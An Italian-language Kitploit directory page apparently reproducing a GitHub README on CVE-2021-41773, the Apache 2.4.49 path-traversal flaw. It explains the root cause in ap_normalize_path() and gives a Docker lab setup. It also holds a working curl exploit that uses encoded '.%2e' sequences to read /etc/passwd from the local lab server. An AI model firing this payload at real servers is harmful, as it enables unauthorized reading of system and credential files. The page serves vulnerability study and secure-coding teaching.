Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-41773 — PoC e analisi di CVE-2021-41773 | Kitploit
Strumenti/GitHubGitHub/tr3m0x/cve-2021-41773
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC e analisi di CVE-2021-41773

Vedi Repository
61 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-41773 PoC — Path Traversal di Apache HTTP Server

Panoramica

CVE-2021-41773 è una vulnerabilità di path traversal che colpisce Apache HTTP Server 2.4.49.

La vulnerabilità consente a un attaccante di accedere a file al di fuori della directory prevista in specifiche configurazioni, in particolare quando le directory sono esposte tramite Alias, ScriptAlias o altre direttive simili ad Alias.

La vulnerabilità esiste a causa di una gestione impropria della normalizzazione e canonicalizzazione del percorso URL. Apache eseguiva i controlli di sicurezza su una rappresentazione del percorso che poteva ancora contenere caratteri codificati, consentendo agli attaccanti di aggirare il rilevamento del traversal utilizzando sequenze di punti codificate.


Impatto

Un attaccante può creare un URL malevolo contenente sequenze di traversal codificate come:

root@kitploit:~
.%2e

dove:

root@kitploit:~
%2e = .

Pertanto:

root@kitploit:~
.%2e

viene convertito in:

root@kitploit:~
..

dopo la decodifica.

Se Apache valida la rappresentazione codificata prima di risolverla nella sua forma canonica, il controllo del traversal può essere aggirato.

Scarica lo strumento

Uno sfruttamento riuscito può consentire a un attaccante di leggere file arbitrari dal filesystem.

Esempio di destinazione:

root@kitploit:~
/etc/passwd

Codice Vulnerabile

La logica vulnerabile si trova in:

root@kitploit:~
server/util.c

all'interno di:

root@kitploit:~
ap_normalize_path()

Codice vulnerabile di Apache 2.4.49:

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

Analisi della causa principale

Il codice vulnerabile tenta di identificare pattern di directory traversal:

root@kitploit:~
../

controllando la presenza di punti consecutivi:

root@kitploit:~
path[l + 1] == '.'

Tuttavia, un attaccante può fornire una sequenza di traversal codificata:

root@kitploit:~
/.%2e/

Al momento del controllo di normalizzazione, Apache processa:

root@kitploit:~
.%2e

invece di:

root@kitploit:~
..

Poiché:

root@kitploit:~
%2e != .

la logica di rilevamento del traversal non riconosce la sequenza come:

root@kitploit:~
../

Il percorso viene quindi interpretato nella sua forma decodificata, consentendo il traversal.


Flusso di elaborazione vulnerabile

Il comportamento vulnerabile può essere rappresentato come:

root@kitploit:~
HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

La decisione di sicurezza viene presa prima che il percorso raggiunga la sua rappresentazione canonica finale.

Un approccio più sicuro è:

root@kitploit:~
HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

I controlli di sicurezza dovrebbero essere sempre eseguiti sulla rappresentazione normalizzata finale.


Configurazione del Lab

Clona il repository

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

Crea l'immagine Docker vulnerabile

root@kitploit:~
docker build -t apache-cve-2021-41773 .

Avvia il server Apache vulnerabile

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

Sfruttamento

Invia una richiesta contenente una sequenza di traversal codificata:

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Uno sfruttamento riuscito restituisce il contenuto di:

root@kitploit:~
/etc/passwd

Esempio:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

Nota sulle risposte HTTP 403

Una risposta 403 Forbidden non significa necessariamente che lo sfruttamento sia fallito.

Durante i test, Apache può normalizzare correttamente:

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

in:

root@kitploit:~
/etc/passwd

ma negare l'accesso a causa dei permessi del filesystem o delle regole di autorizzazione di Apache.

Esempio:

root@kitploit:~
client denied by server configuration: /etc/passwd

Questo indica che il traversal è avvenuto con successo, ma il controllo degli accessi ha impedito la divulgazione del file.


Punto chiave

CVE-2021-41773 è un classico esempio di vulnerabilità di canonicalizzazione.

L'input controllato dall'utente può avere più rappresentazioni:

root@kitploit:~
.%2e

e:

root@kitploit:~
..

Sebbene abbiano un aspetto diverso, rappresentano lo stesso componente del percorso.

I controlli di sicurezza devono essere sempre eseguiti dopo la decodifica e la normalizzazione. Validare una rappresentazione codificata o ambigua può portare a bypass di sicurezza.